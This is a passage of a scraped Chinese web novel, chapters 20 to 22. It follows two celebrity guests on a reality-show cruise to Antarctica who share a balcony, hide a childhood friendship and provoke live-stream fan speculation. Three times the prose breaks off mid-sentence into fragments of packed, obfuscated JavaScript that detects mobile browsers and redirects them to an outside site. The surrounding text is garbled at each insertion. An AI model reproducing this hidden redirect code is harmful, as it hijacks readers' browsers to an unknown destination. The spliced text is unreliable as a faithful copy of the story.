梁寄言摇头:“我们这行想结仇根本都不用认识,今天我踩着你上位,明天你抢我资源,一件小事都能让人争得头破血流,更何况以他们的热度,万一是王不见王呢?谁又知道。” 汪裴阳叹了口气:“道理是这个道理,但如果他们俩真的有仇,根本没必要上同一档综艺吧?像他们现在闹这么难看,对我们节目也不好。” 李问语用力点头:“我还想着帮他们调和一下矛盾,或者起码让他们别在镜头前闹出什么不愉快。” 汪裴阳:“我也是,就是不知道怎么劝。” 梁寄言入行的时间比李问语和汪裴阳加在一起还要长,又经历过各种风波,见过人情冷暖,因此并不太支持李问语和汪裴阳这种天真的想法。 她委婉提点:“这种事我建议还是不要轻易掺一脚,你们的心意是好的,但当事人不一定领情,别到时候不仅没缓和他们的毛病,还给自己惹嫌了。” 李问语和汪裴阳知道梁寄言是好意,表面上都乖巧应下,李问语更是笑得眉眼弯弯,热情地挽上了梁寄言的臂弯:“谢谢寄言姐~我们知道。” 。 次日,《世界之大》节目组登船前往南极。 阿芙佳朵号如山般沉稳地停靠在港口,相较于其他航线的大型豪华邮轮,阿芙佳朵号算不上大,但在前往南极的邮轮中,其性能绝对是数一数二的。 严途带着节目组登船,也安排着今天的拍摄任务:“行李已经提前送到房间了,等会拿到房卡后大家先去确认一下行李有没有缺漏,过一会儿我们会到大家的房间进行拍摄。” 几人应下,片刻后周小佑把领回来的房卡交给方新故。 方新故接过卡,想起船上最廉价的房型是四人间,房间很挤很小,住着肯定压抑,他怕节目组抠门给工作人员定廉价房,转头问周小佑:“节目组给你们安排的什么房型?” 周小佑知道他的意思,笑嘻嘻道:“双人间,还不错。” 方新故有点意外,严途竟然不抠门了? 他道:“要是住得不舒服就去升级房型,我给你报销。” 周小佑夹着嗓子感动道:“少爷,我这辈子算是跟对人了!” 方新故皱着脸,嫌弃地加快脚步走开了。 结果没走两步他又倒回来,神秘地低声叮嘱周小佑:“对了,你有空找杨哥跟服装组对一下我后面几天的衣服。” 方新故口中的杨哥是景亦同的助理杨青,周小佑迷茫:“我找杨哥对什么?” 方新故一言难尽地拍他肩:“你去就是了。” 省得后面几天再撞衫。 说完,方新故便朝六楼走去,几位嘉宾的房间都在这一层,方新故刷开608的房门,里面是一间大床房,相较于普通酒店,邮轮上的房间明显小了不少,但胜在干净整洁,还搭配了一个阳台,总体算是不错。 方新故清点过行李确认没有缺漏后,第一件事就是踱步到阳台的玻璃门前,准备拉开窗帘去阳台看看海景。 唰—— 窗帘被一拉到底,方新故抬眼望去,映入眼帘的却不是他想象中的海景,他倒抽一口气——怎么有个人站在他房间的阳台上? 阳台上的男人显然也被背后方新故的动静吓了一跳,他迅速转身,和房间里的方新故两人大眼瞪小眼。 看着男人熟悉的面孔,方新故一瞬间还以为自己出现幻觉了:“哥?” 阳台上的景亦同显然也在状况外:“新故?” 方新故大脑宕机:大变活人啊!景亦同怎么在他的阳台上? ……总不能是这个抠门的节目组,给他们安排的双人大床房吧? 20. 第 20 章 方新故脑子晕乎了一瞬间,很快又清醒过来,先不提节目组不至于这么不靠谱,再说房间里只有他一个人的行李,怎么也不可能是两人住一间。 倒是阳台外面的景亦同环顾一圈周围的环境,很快明白了这是怎么回事,他叩了叩阳台的玻璃门,朝方新故一勾手指,方新故便开门到了阳台上。 这阳台比他想象得大多了,甚至大得有点超乎寻常,方新故皱眉环顾一圈,就看到阳台连接着两扇玻璃移门,他犹豫道:“所以我们两个房间共用一个阳台?” “看来是的,”景亦同耸肩,“我就比你早出来几秒钟,还光顾着看海了,都没发现这阳台还暗藏玄机。” 方新故抬头打量这个阳台,只见阳台中间的墙上有一些锈迹,他道:“这里原来应该有个隔断的,可能暂时拆除了。” 景亦同也才反应过来:“怪不得刚才杨哥给我房卡的时候,说608和609这两间房有点特殊,原来是这样。” 说完,景亦同便观察起了方新故的表情,见他仍冷着一张脸,看不出什么情绪,景亦同只好斟酌道,“你介意的话可以去换间房。” 方新故揉着后颈摇头:“算了。” 节目组为了避免录制时可能产生的噪音会打扰到其他普通旅客,因此几个嘉宾的房间都在一起,方便集中拍摄,这时候换房间只能换到其他楼层,大家都不方便。 况且只是要跟景亦同共享一个阳台,又没什么大不了的。 景亦同笑了下,见方新故揉脖子的动作,关心道:“脖子不舒服?我看你这两天一直在揉。” “啊?”方新故没想到景亦同会注意到这个细节,他意外地收回手,“哦,前两天酒店的枕头太高了,睡得脖子不太舒服。” 方新故睡觉很认枕头,只要条件允许,他出门在外总会带上自己的枕头。 但这次录制前,方新故收拾完行李,才发现几个行李箱都装得鼓鼓囊囊,根本没有空地放枕头,纠结半天,他只好忍痛割爱把枕头留在家里,这几天睡觉都没用枕头,搞得现在脖子酸疼。 说到这里,景亦同忽然拍了下手,像是想起了什么:“诶,说到这个。” “嗯?” “我忘了件很重要的事。” 景亦同敲了下自己的头,把方新故拉进他房间,从一个行李箱中取出了一个方新故分外眼熟的枕头。 方新故嘴张成了O形,意外道:“我枕头怎么在你这儿?” 景亦同闷笑几声,把枕头递给他:“前几天我回江城,你奶奶说你走之前还在抱怨行李箱塞不下枕头了,问我能不能帮你带过来,正好我行李箱还有点空,就给你带过来。” 方新故愣愣抱着被压缩过后的爱枕,脑袋懵懵的,但他还是抓住了一个关键:“我奶奶也知道你跟我来录一个节目?” 景亦同倒吸一口气,欸,说漏嘴了。 他硬着头皮解释:“跟她聊天的时候正好说起了。” 方新故看他:“你不是说你节目组要求保密吗?只对我保密,不用对她保密?” 景亦同一听没有狡辩的空间了,只好双手合十伏低做小:“方老师,求求您原谅我这一次吧。” 方新故眯眼清算:“还窝藏我的枕头,到现在才给我,害我落枕。” 景亦同说不过他,干脆直接上手,他掰过方新故的身体把人往608推去,凑在他身后边走边念叨:“我是真忘了,这个箱子我这几天都没打开过,您大人有大量就原谅我吧。” 方新故压根也没生气,甚至趁着景亦同此时在后面看不到他的表情,还肆无忌惮地扬起嘴角偷乐了一会儿:“好吧,其实就算你前几天给我,我行李箱里也没地方放,总不能一直拎着。” 景亦同:“是啊,我还给你解放双手了。” 两人穿过阳台回到608,方新故拆开压缩袋,把枕头拿出来抖了两下,接触到空气的枕头再次回弹,重新变得蓬松起来,被方新故丢到大床的正中间。 景亦同把原配的两个枕头放到橱门里:“这两个枕头我收到这里了。” “好。” 两人话音刚落,门外就传来一阵敲门声,屋里两人皆是一愣,动作整齐地同时看向门口,下一刻,孟回的声音隔着门板响起:“新故你在吗?节目组要来录制了。” 两人双双噤声,方新故更是大气都不敢出:刚才外面的人应该没听到景亦同的声音吧? 方新故一下从椅子上弹起来,他一把揪住景亦同的胳膊把人往阳台推,景亦同强忍着笑,还得保持轻手轻脚的的动作,最后也不忘贴心地合上阳台门。 方新故松了口气,刚准备去给孟回开门,走到一半又突然一个紧急回身,手忙脚乱地拉上了阳台窗帘。 做完这一切,方新故才猛地回过神来:搞什么,好像他和景亦同在偷鸡摸狗,做什么见不得人的勾当一样。 他深吸一口气,甩掉这些没有意义的联想,一把打开门。 门后站着十来个人,其余五个嘉宾也都在,跟拍的摄像镜头更是直勾勾地对着他的房间,让方新故不禁庆幸自己刚才赶人关门拉窗帘的一套小连招简直太明智了。 孟回指指手里的直播镜头:“我要开直播镜头了哦。” “好的。” 这是他们登船前往南极探索的第一天,节目组自然也安排了直播计划,今天的掌镜人是孟回,方新故早就知晓此事,也猜到节目组来房间录制的时候肯定会开直播,因此他波澜不惊地抬手跟直播间的观众打招呼:“大家好。” 在方新故出现在直播间的一瞬间,密密麻麻的弹幕当即铺了满屏。 方新故跟观众互动两句,侧过身让节目组的人进来,李问语探头问他:“你金屋藏娇呢?开个门这么慢。” 金屋藏娇?好像还真是。 但一想到要把“娇”跟景亦同画等号,方新故就觉得又雷人又好笑,嘴角也露出了可疑的弧度。 他努力控制面部肌肉,大言不惭道:“我是在收拾行李。” 罗达一拍大腿:“哎,没收拾完呢吧?我们想来录个开箱的,是回姐想的主题,分享你行李箱中最特别又实用的东西。” 方新故想了想:“我好像也没带什么特殊的……” 方新故把自己的行李在脑海里过了一遍,片刻后有了主意,他选了自己的一个行李箱打开,拿出一个黑色的袋子,里面不知装了什么,但从方新故的动作来看应该是沉甸甸的。 其他几个人还真有点好奇,几个脑袋都围了上去,孟回也没忘了直播间的观众,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060129|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接把直播镜头怼到了前面,只见下一秒方新故打开袋子,露出了里面一罐又一罐红红火火的东西。 汪裴阳愣了一下才反应过来:“辣酱?” 方新故把这些瓶瓶罐罐拿出来展示,众人这才发现不止是辣酱,还有拌饭酱泡面和各种下饭小菜。 其他几个人当即用一言难尽的表情看向方新故,方新故本来不觉得有什么,但被这么一看就有点尴尬,他为自己据理力争:“苦了什么都不能苦了自己的胃。” 罗达看看这一兜接地气的食物和酱料,又看看方新故那张看起来不食人间烟火的脸,摇摇头:“原来你也会吃这种东西。” 方新故投过去一个诡异的眼神:说的什么话? 直播间里已经笑成一团: “哈哈哈这很有生活了,都是我爱吃的!” “我不行了,方新故这是真出过国的。” “谁懂留子看到这一兜东西的救赎感[流泪]” 孟回意外道:“新故你不是江城人吗,口味还挺重,不用保护一下嗓子?” “我平常也不怎么吃,就是想到阿芙佳朵上只有西餐,所以带了这些,西餐偶尔吃几顿还行,连吃十几天肯定受不了。” 李问语眼尖地看到他行李的角落里还有一小袋米,震惊道:“那也不至于带米过来吧,你准备直接自己煮饭?” 方新故无语地把那袋米拍在她面前:“就这么点都不够喂鸡的。” 李问语也很无语:“那你带出来干嘛?” “你猜。” 几个人正讨论着,门口冷不丁传来个声音:“我说怎么这么热闹,原来已经录上了,你们聊什么呢?” 原来是刚被扫地出门的景亦同又卷土重来,只不过这次他走的大门,人也光明正大了起来,甚至还挑衅似的朝方新故眨眨眼。 梁寄言:“在讨论新故带了把米的用途。” 景亦同倚在门上,那是一个很闲散的姿势,不过他身材高挑、仪态又好,做这么悠闲的动作也不显懒散,倒是有股自得的贵气。 他抵着下巴略微思索,随后回答:“有些地方有种习俗,出门远游的人会随身带一把家里的米,说是水土不服的时候闻一闻米的味道,身体就会好受一些。” “从来没听说过,你连这么偏门的习俗都知道?”罗达扭头看方新故,“新故你是这个意思吗?” 一群人的视线都落到方新故身上,他顿时感觉如芒在背,老实地点头承认:“嗯。” 梁寄言推测:“亦同是申市的吧?因为申市离江城很近,所以也有差不多的习俗?” 景亦同刚想解释自己原籍是江城,结果就收到了方新故飞来的眼刀,他霎时乖乖闭嘴,只点头微笑。 可他不说,也有人替他回答,汪裴阳“咦”了一声:“我怎么记得景哥是江城人?” 方新故:? 景亦同歪头看方新故,挑了挑眉:这回可不是我说的。 见方新故和景亦同都表情古怪,汪裴阳一顿,有点尴尬:“啊是我记错了吗?我查查。” 说完,汪裴阳迅速掏出手机一搜,忙歉然道:“哦对,是我记错了,景哥原籍才是江城的,江城鲈水区……嗯?新故哥也是鲈水区的吧?” 方新故:…… 21. 第 21 章 608房间里是死一样的寂静,景亦同脸上仍是似笑非笑的表情,方新故则紧绷着脸默不作声。 所有人都感受到了此刻的氛围有多诡异,却没人敢开口说话,只是目光若有似无地扫过方新故和景亦同,想从两人的表情上窥探些蛛丝马迹,可惜两人根本没有反应。 但没有反应本身也是一种反应。 照常理来说,两个艺人是同乡并非大事,融洽一点的,最多不过认个亲也就过去了,但方新故和景亦同的反应实在是太冷淡生硬了,他们什么也不说、什么也不做,脸上也没有丝毫惊讶的表情,仿佛就是早知道对方跟自己是同乡。 这背后肯定有故事! 在场所有人无不抓心挠肝地想知道真相,但又无从下手。 其实这时候最紧张的是汪裴阳,为了想办法缓和方新故和景亦同的关系,他这两天偷偷在网上搜集了一些有关两人的信息,所以才能在一看到鲈水区这个名字,就反应过来方新故也是鲈水区的。 但看现在方新故冷淡的表情,汪裴阳还以为自己说错话,顿时感觉天塌了,难道他要用一次的外向换来一整季节目的内向吗? 他挠头心虚道:“难道我又记错了?呃……我再查查。” 方新故按住他的手,无力道:“给你手机放会儿假吧。” 汪裴阳磕磕绊绊:“哦、哦。” 方新故深吸一口气,汪裴阳这倒霉孩子,怎么什么话都往外说! 虽然方新故心里清楚,其他人早晚也会知道自己和景亦同曾是同乡,毕竟在这一点上,他们从未藏着掖着。但被汪裴阳直接这样在直播镜头前说出来,还是让他猝不及防,甚至一下不知道该怎么应对。 偏偏景亦同也没个反应,就堵在那里不说话,也不知道帮他解解围。 方新故瞪向景亦同:“是吗?景老师,好巧。” 景亦同感觉冤枉坏了,又不是他说的,方新故怎么光瞪他不瞪汪裴阳。 景亦同故意冷哼一声:“确实巧啊方老师。” 另一边,李问语杵了汪裴阳一下,见汪裴阳的目光飘过来,立马给他比了个大拇指:这招妙极,就该多刺激刺激他们! 汪裴阳都快哭了,他真的是无心的! 现场还沉浸在古怪的氛围中,直播间里各方粉丝和观众却已经热聊上了—— “啥??方新故和景亦同是老乡?” “而且还是一个区的,他们俩会不会以前就认识?” “汪裴阳一说他俩都是鲈水区,方新故脸色一下就变了,这是有多讨厌景亦同。” “景亦同也不遑多让,说话夹枪带棒的[狗头]” “同一个区有什么,本江城人强调下,江城很大,鲈水更是江城第一大区,常住人口一百多万,你说认识就认识?哪有这么巧的事。” “故丝同丝别嘴硬,他俩这状态绝对是有仇在先,肯定在《世界之大》前就认识,但又不像因为圈内摩擦结的仇,八成是以前就认识。” “你们都不知道他们是老乡?他们甚至读的同一所小学,不过差了两届。” “所以他们是校友?这俩的关系真是越来越扑朔迷离了……” “不会是从学生时代开始积怨到现在的吧?” “本cpf要复活了!” “你们看清楚只是小学校友啊啊啊!在他俩年龄加起来只有我鞋码一半大的年纪能积什么怨!” “是竹马是宿敌,那不得不嗑了。” “腐蟑螂闻风而来……” “fzl怎么什么都下得去嘴?滚回下水道[呕吐]” “哪来的清朝老僵尸?同性婚姻都合法了,现在异性恋和同性恋谁也别看不起谁[中指]” “停停停,故丝同丝别吵了,wfcpf也别吵了,我已经开始深扒方新故和景亦同的关系了,感觉会有很多惊喜[墨镜]” 而此时阿芙佳朵的608号房间内还残留着一丝尴尬。 罗达干笑两声,打断这并不算和谐的认老乡环节:“好了好了,新故这儿我们也看得差不多了,下一个去亦同那里看看?” 景亦同自然应下。 一行人浩浩荡荡地转场去景亦同的房间,走之前,孟回瞄到方新故床上那个特别的蓝色枕头,随口问道:“你还自己带了枕头来?” 方新故看着自己刚从景亦同那里搜刮来的枕头,厚着脸皮点头:“嗯,有点认枕头。” 孟回玩笑道:“还好只是认枕头,要是认床就麻烦了。” 好在孟回只是为了缓和气氛,才开了个玩笑,她还肩负着直播的重任,很快就跟着大部队走去了隔壁的景亦同房间。 眼看着其他人都出门了,方新故还蹲在房间里磨磨蹭蹭地收拾行李,根本没有往景亦同房间去的意思。 有什么好看的,他刚刚才从景亦同的房间回来,景亦同还能在这么点时间内雕出朵花来? 李问语回头看到方新故没跟上来,以为他还生闷气,心里不禁叹了口气,这些男人什么时候能成熟点? 就不能在镜头前放下私人恩怨,从大局考虑一下他们节目的安危吗?一点也不体面。 最后,还是李问语叫了方新故一声:“师兄快来,集体活动别缺席!” 方新故听到这呼唤声一顿,最后还是认命地站起身,跟在人群后来到了景亦同的房间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060130|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 景亦同的房间就在他隔壁,两人的房门紧挨着,屋里也没什么特殊之处,甚至连地上摊开的那个行李箱,都保持着他刚才离开时的状态。 方新故进了609也不说话,只是靠在一旁的衣柜上,其他人见了以为他在发呆,其实方新故在正在思考。 虽然这几年他和景亦同没再一起出去旅游,但好歹认识二十多年,很多习惯早已成型,方新故自认对景亦同还是有一定认识的,甚至连景亦同出游时习惯带的物品都一清二楚。 因此方新故在心里把景亦同行李箱里可能存在的东西都过了一遍,最后浮现出了一件确实算得上比较特殊的物品。 正在这时,景亦同也从他的箱子里拿出了一件东西:“我带了一个便携式熨烫机。” 方新故一挑眉,果然,他就知道。 景亦同举着他的熨烫机道:“衣服在行李箱里压久了,难免会出现一些压痕,但是因为我们这份工作的特殊性,还是要注重下形象的,所以我出门都会带个熨烫机。” 李问语点头:“这个好,我的服装老师也总是会带这个。” 罗达凑近看熨烫机:“看起来还挺方便的,这个能挂烫吗?” “可以。” 似乎是觉得口头回答还不够,景亦半蹲在地上环顾一圈,当他向左上方看去时,就看到靠边站着的方新故。 方新故注意到他的视线,下意识低头跟他对视,眼神中闪过一丝迷惑,显然没明白景亦同为什么看自己。 但景亦同却笑了一下,那笑容看得方新故警铃大作——他又准备闹哪一出? 果然,在所有人都没有预料的瞬间,景亦同非常突然地伸手拉住了方新故衬衫外套的下摆,随后把熨斗贴上对方的衣摆,做了个熨衣服的动作,还煞有介事地对着镜头介绍:“找个衣架把衣服挂起来,之后就能熨了。” 方新故:? 他这突如其来的动作把所有人都吓了一跳,一时间大家都呆愣愣地看着他俩。 方新故拍开他的手,咬牙道:“是让你找个衣架,没让你把我当成人形衣架。” 景亦同指指他的衣摆,理直气壮:“我是好心看你的衬衫有点皱了。” 方新故低头一看,下摆的地方还真有点皱了,他头疼道:“那也不能直接把熨烫机往我身上怼,请给观众朋友们带个好头。” “诶,对,这倒是我疏忽了,做了个错误示范,大家千万别学我,”景亦同诚恳地承认完自己的错误,然后继续嘴硬,“但我这个熨烫机还没开。” 方新故气笑了:“不然你还真想烫死我?” 景亦同拍拍手站起来:“那我可舍不得。” 22. 第 22 章 方新故当然知道景亦同不可能真烫着自己,但此时听了景亦同的话,他还是觉得自己的心脏好像被一双温暖的手拢在掌心,又酸又甜。 甜在虽然景亦同说得随便,语气也有些戏谑,但方新故却听出了这是他的真心话。 酸在或许有朝一日,景亦同也会对另一个人说出同样的话。 而且他算是看明白了,景亦同压根不想配合他装不熟,虽然现在还在镜头前勉强跟他维持“不熟”的关系,但时不时就要破一下功,完全一副恨不得把他们的关系昭告天下的样子。 比如说眼下,景亦同戏弄完方新故还不够,接着道:“所以衣服一定要脱下来才能熨,否则会烫着人。为了表达我的歉意,方老师把衬衫脱给我,我帮你熨一下?” 景亦同一手拿熨烫机,一手伸向方新故跟他要衣服,脸上的表情十分真挚,任谁看了都不忍拒绝。 方新故看着他这样,蓦地想起他们刚到乌斯怀亚那天,七个人一起去买帽子,途中景亦同主动扛起问路的重任,被罗达等人评价为“居家旅行必备好物”。 当时大家还质疑了一下“居家”这个评价,但现在景亦同的样子仿佛又印证了这两个字。 方新故自言自语:“还真‘居家’上了。” 景亦同没听懂:“什么居家?” 方新故看向罗达和李问语,没想到这几人已经被刚才一个又一个的重磅炸弹给炸得脑袋发懵,根本没跟上方新故说话的寄走,只朝他露出个清澈又愚蠢的表情。 方新故恨铁不成钢,只好把衬衫脱下来递给景亦同:“免费的劳动力,不用白不用。” 景亦同接过衬衫:“很高兴为您服务。” 这次他规矩地把衬衫挂好,打开熨烫机等温度上来,方新故就在后面抱臂看着。 房间里一片安静,所有人面面相觑:这俩到底在搞什么? 连严途都被这他们整懵了,他偷偷拿出手机联系上齐邱,试图从他嘴里撬出点情况来。 严途:你家方新故跟景亦同是什么关系?他俩有仇的话你得跟我说一声,我好做好准备。 齐邱:…… 齐邱:仇应该是没有的,至于其他的……你自己问新故吧,我也不清楚。 严途怪了:你不是经纪人吗? 齐邱:呵呵我是他经纪人不是他妈,管不了他的社交哈。而且我也想请问你们,景亦同上节目这事你们瞒为什么瞒着? 严途也摸不着头脑:不知道,是景亦同主动来接触我们的,也是他主动要求我们保密的。 嘶,竟然是景亦同那边要求的? 齐邱回想起之前景亦同去医院看方新故那次,好像从那天开始,他就直觉景亦同怪怪的,总之不太像一个普通的发小或者哥哥。 不止是在现场的嘉宾和工作人员懵了,连直播间里的观众也懵了: “我听到了啥,‘那我可舍不得’?” “谁舍不得谁?景亦同舍不得方新故?等等,不是说他们俩有仇吗[呆滞]” “景亦同你让我觉得好陌生……” “卧槽产品姐呢?这个真的可以嗑!” “景亦同那个语气明显是在嘲讽方新故好吧[白眼]” “fzl果然不挑,什么都下得了口。” “这么般配的两张脸放在这里你们都不嗑???疑似内娱换乘恋爱吃多了把脑子毒坏了。” “毒唯再cue你腐女奶奶呢[微笑]” “合理怀疑景亦同是想80方新故,他把熨烫机贴到方新故身上之前的那个笑,太阴森了特别吓人” “我也看到了,景亦同那个表情让我感觉他想把加热后的熨烫机直接贴上去……啊啊啊心疼fxg[流泪]” “玩闹一下怎么被你们夸大成新时代烙刑了?故丝心眼小小的,正主商务少少的[吐舌头]” “跟你正主很熟吗就玩闹?同丝犯一次贱,景亦同断档再多一年[吐舌头]” “同丝有这么多人?竟然能和故丝打得有来有回。” “有些人看似是同丝,其实皮下根本分不清是人是鬼……已经乱成一锅粥了,大家趁热喝了吧。” “吵架暂停,我现在只想知道景亦同和方新故的cp名叫什么[口水]” “滴滴滴——欢迎大家来嗑我们‘同新圆’!双料影帝×顶流歌手,高颜值双强cp拥有你想要的一切人设,只要你想嗑这里应有尽有!我们‘同新圆’收留所有受过伤害的各路cpf,在这里你永远不用怕背刺提纯cp崩盘,因为我们本来也没有地基[双手合十]” “笑死我了,谁懂我本来只是觉得他们俩从性格到长相都很配,所以想拉郎浅嗑一口,结果们同新圆也是越扒越有[笑哭]” “刚刚那个说要去扒方新故和景亦同的姐妹呢,三天之内我要知道这他们的所有爱恨情仇!” 609房间内,熨烫机的温度终于上来了,景亦同一边熨衣服,一边问方新故:“冷吗?” 方新故身上只穿了一件白色的长袖内搭,看着并不保暖。 方新故冷冰冰地回答:“不冷。” 景亦同像是没听到他的回答,自顾自地加快了手中熨衬衫的速度,很快把衬衫熨平整还给了方新故。 那衣服上带着明显的热气,方新故接过时才发觉原来自己的指尖确实很凉,他垂着眼睛默默穿上那带着暖意的衬衫。 此时方新故的沉默不言像是某种信号,所有人都松了口气,李问语道:“七点多了,去吃晚饭吧?” 大家一致认可,一同往餐厅转移。唯独方新故想了想,他没跟着大部队,而是先回608又穿了件外套,这才往餐厅去。 餐厅是自助式的,方新故没胃口,只简单夹了点菜,想找个位置坐下。刚才他回房间穿衣服耽误了几分钟,等端着餐盘找座位时,其他几个人都落座了。 餐厅里的餐桌都是二人或四人位的,《世界之大》的其他六个嘉宾分别坐了两桌,方新故远远看着,心中产生了犹豫。 其中一桌坐了三位女性,另一桌坐了三位男性,正常来说方新故应该选择跟罗达他们坐一起,但好巧不巧,此时这一桌剩余的空位在景亦同边上。 方新故还是不太想坐景亦同边上,那难道要主动跟女生坐一块儿?也怪怪的,不然自己单开一桌得了…… 好在孟回看出了方新故的窘迫,她主动招手:“新故坐这儿来吧,直播间的粉丝们喊着说要看你呢。” 方新故忙顺着孟回给的台阶坐到了她边上,顺便跟直播间的粉丝打了个招呼:“大家都吃饭了吗?没吃的话正好跟我们一起吃。” 看着粉丝们热情地回答,方新故也跟她们闲聊起来:“其实我吃得不少,荤素搭配很有营养……等会儿会不会饿?应该不会饿,没事,饿了还能回去泡泡面。游轮上有没有什么好吃的?我来看看……” 方新故把自己夹的菜都尝了尝,最后点着一道沙拉:“这个味道不错,料汁调得很好。” 他的话当即引来粉丝一片吐槽:“谁家好人吃自助狂炫沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060131|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉!” “我崽尝了这么多菜,最后就夸了一个饭缩力拉满的绿化带[流泪]” 方新故戳了几块菜叶子优雅吃下:“沙拉怎么就饭缩力了?味道真的还可以。” 李问语也忍不住吐槽:“师兄你属羊的吧?吃草也这么起劲,我只有减肥的时候才会主动吃这个。” 方新故看着她面前那一盘甜品,好心道:“你少吃点甜的吧,等会你经纪人看到又要咆哮了。” 李问语的回应是把孟回的直播镜头往旁边挪了挪,巧妙地把自己的餐盘从镜头里摘了出去。 方新故:…… 直播间的观众显然也注意到了李问语的小动作:“好一招掩耳盗铃哈哈哈。” “问语问语,换你来介绍一下餐厅里有什么好吃的吧!” 李问语打了个响指:“诶,这下大家算问对人了。” 李问语如数家珍般把刚才尝过的美食跟大家分享了一遍,期间还有罗达补充发言,说到最后两人还觉得不够,干脆要去取餐区直播,孟回也宠着他们,带着直播镜头陪他们一起去了。 这下餐桌上只剩下寡言的梁寄言和方新故,两人都是话少的,默契地低头安静吃饭。 不过游轮上毕竟不是只有他们节目组,为了不打扰其他游客用餐,直播三人组没过一会也回来了。 李问语这一趟回来收获颇丰,手中的托盘上装着各色精致的甜品糕点:“这几种都是我严选的,味道都不错,大家尝尝。” 李问语力荐之下,梁寄言选了块布朗尼,方新故不太爱吃甜的,就选了碗水果优格。 酸酸甜甜的优格里面混合着丰富的水果,一口咬下去多种果肉爆汁,上面还点缀着一些坚果,让优格的口感更加丰富,味道确实不错。 李问语还在继续自己派发甜品的大业,她把餐盘放到了景亦同三人那桌,半强迫地要求大家都选了一种甜品试吃,孟回也凑在他们那桌直播,一群人有说有笑起来。 景亦同吃了两口蛋糕就觉得腻,起身准备去拿杯咖啡配着吃。 在路过方新故身边时,他习惯性地多看了方新故两眼,随后便猛地停下步子,然后他一个转身,盯着方新故正往嘴里送的优格。 方新故见景亦同立在自己面前,眼睛还一转不转地盯着自己手里的优格,他把优格放回桌上:“干嘛,你也想尝尝?” 但景亦同却难得没有看他,目光反而一直追随着那碗优格,他对着里面隐约浮现的水果看了半天,过了会儿突然问方新故:“……你知道这碗优格里面有什么水果吗?” 方新故舔舔唇,只品出一股甜滋滋的味道,但具体是什么他还真没尝出来。他如实回答:“不知道,没吃出来。” 景亦同无奈:“不知道你就敢乱吃?” 方新故不解道:“嗯?” 景亦同气急,用力敲了一下他的脑袋:“这是菠萝!” 方新故愣怔地低头看桌上的优格,甚至还用勺子捣了捣:有菠萝?可是他没尝出菠萝味啊? 坐在对面的梁寄言更是迷茫地抬头:“菠萝怎么了?” 方新故心虚地看了景亦同一眼,一般来说,他是不怕景亦同的,但经年累月的陪伴,让方新故对景亦同的情绪变化极度敏感,而此时,他已经清晰地感受到景亦同周身环绕着一股低气压。 很显然,景亦同生气了。 方新故顿时慌了,到这个时候,他也没心思再管自己和景亦同的关系会不会暴露,只是气弱道:“呃……我菠萝过敏。”